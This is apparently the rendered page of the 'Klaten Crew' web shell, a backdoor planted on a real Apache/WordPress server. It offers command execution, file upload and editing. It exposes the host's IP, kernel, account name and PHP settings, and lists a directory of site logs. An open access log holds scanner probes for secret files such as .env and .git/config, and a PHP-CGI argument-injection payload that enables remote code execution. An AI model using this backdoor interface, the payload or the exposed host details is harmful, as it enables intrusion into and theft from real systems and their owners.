HanJsXploit Klaten Crew
Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.0
System Info
HOME
usr
local
apache
domlogs
ipifapor
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-30 17:01:21
-
cinca.ipifap.org
File
5.57 KB
0640
2024-08-10 06:46:50
cinca.ipifap.org-ssl_log
File
52.64 KB
0640
2024-08-10 09:39:59
ipifap.org
File
65.33 KB
0640
2026-07-30 17:01:21
ipifap.org-ssl_log
File
183.08 KB
0640
2026-07-30 17:01:21
observatorios.ipifap.org
File
310 B
0640
2026-07-30 16:11:18
observatorios.ipifap.org-ssl_log
File
0 B
0640
2026-07-30 12:12:05
osrapam.ipifap.org
File
591 B
0640
2026-07-30 17:01:21
osrapam.ipifap.org-ssl_log
File
0 B
0640
2026-07-30 12:12:05
proagricultura.ipifap.org
File
34.76 KB
0640
2026-07-30 16:27:59
proagricultura.ipifap.org-ssl_log
File
5.79 KB
0640
2026-07-30 16:44:40
proenvejecimiento.ipifap.org
File
1.2 KB
0640
2024-10-28 22:54:52
proenvejecimiento.ipifap.org-ssl_log
File
2.09 KB
0640
2024-10-29 09:52:01
progob.ipifap.org
File
15.44 KB
0640
2026-07-30 15:37:55
progob.ipifap.org-ssl_log
File
25.61 KB
0640
2026-07-30 17:01:21
promayores.ipifap.org
File
7.1 KB
0640
2026-07-30 17:01:21
promayores.ipifap.org-ssl_log
File
14.4 KB
0640
2026-07-30 17:01:21
prosalud.ipifap.org
File
18.21 KB
0640
2026-07-30 16:44:40
prosalud.ipifap.org-ssl_log
File
3.89 KB
0640
2026-07-30 17:01:21
protransporte.ipifap.org
File
19.61 KB
0640
2026-07-30 16:27:59
protransporte.ipifap.org-ssl_log
File
2.3 KB
0640
2026-07-30 16:44:40
proturismo.ipifap.org
File
88.87 KB
0640
2026-07-30 17:02:10
proturismo.ipifap.org-ssl_log
File
5.67 MB
0640
2026-07-30 17:04:45
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Klaten Crew WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: promayores.ipifap.org
43.156.36.169 - - [30/Jul/2026:07:18:18 -0500] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 167.114.27.228 - - [30/Jul/2026:07:48:00 -0500] "POST /wp-cron.php?doing_wp_cron=1785415680.5276930332183837890625 HTTP/1.1" 200 - "-" "WordPress/7.0.2; https://promayores.ipifap.org" 146.190.63.48 - - [30/Jul/2026:07:47:43 -0500] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:01 -0500] "GET /console/ HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:03 -0500] "GET /server HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:04 -0500] "GET /server-status HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:05 -0500] "GET /about HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:06 -0500] "GET /login.action HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:07 -0500] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:08 -0500] "GET /___proxy_subdomain_whm/login HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:08 -0500] "GET /___proxy_subdomain_cpanel HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:09 -0500] "GET /v2/_catalog HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:10 -0500] "GET /.DS_Store HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:11 -0500] "GET /.env HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:13 -0500] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:15 -0500] "GET /.git/config HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:16 -0500] "POST /graphql HTTP/1.1" 404 115342 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:17 -0500] "POST /api HTTP/1.1" 404 115342 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:17 -0500] "POST /api/graphql HTTP/1.1" 404 115342 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:18 -0500] "POST /graphql/api HTTP/1.1" 404 115342 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:18 -0500] "POST /api/gql HTTP/1.1" 404 115342 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:19 -0500] "GET /s/832323e27323e2431313e2736313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:20 -0500] "GET /config.json HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:21 -0500] "GET /telescope/requests HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:22 -0500] "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\"\"+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:23 -0500] "GET /info.php HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:24 -0500] "GET /.well-known/security.txt HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:25 -0500] "GET /actuator/env HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:26 -0500] "GET /trace.axd HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:27 -0500] "GET /@vite/env HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:28 -0500] "GET /.vscode/sftp.json HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:29 -0500] "OPTIONS / HTTP/1.1" 200 32499 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:31 -0500] "POST /?rest_route=/batch/v1 HTTP/1.1" 207 686 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:32 -0500] "POST /?rest_route=/batch/v1 HTTP/1.1" 207 686 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:33 -0500] "POST /wp-json/batch/v1 HTTP/1.1" 207 686 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:34 -0500] "POST /wp-json/batch/v1 HTTP/1.1" 207 686 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:35 -0500] "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 200 784 "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 146.190.63.48 - - [30/Jul/2026:07:48:36 -0500] "GET /debug/default/view?panel=config HTTP/1.1" 301 - "-" "Mozilla/5.0 (l9scan/2.0.832323e27323e2431313e2736313; +https://leakix.net)" 43.130.53.252 - - [30/Jul/2026:11:11:57 -0500] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.63.31.25 - - [30/Jul/2026:11:59:03 -0500] "GET http://promayores.ipifap.org:80/?p=1 HTTP/1.1" 200 159 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1675.0 Safari/537.3658971084" 195.63.31.25 - - [30/Jul/2026:11:59:07 -0500] "GET http://promayores.ipifap.org:80/?p=1 HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1675.0 Safari/537.3658971084"
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64 Software: Apache PHP Version: 8.3.31 Protocol: HTTP/1.1 Server IP: 167.114.27.228 Your IP: 216.73.217.0 Mail: ON Curl: ON Owner: ipifapor MySQL: ON Disabled Functions: All functions are accessible Auto Bypass: ENABLED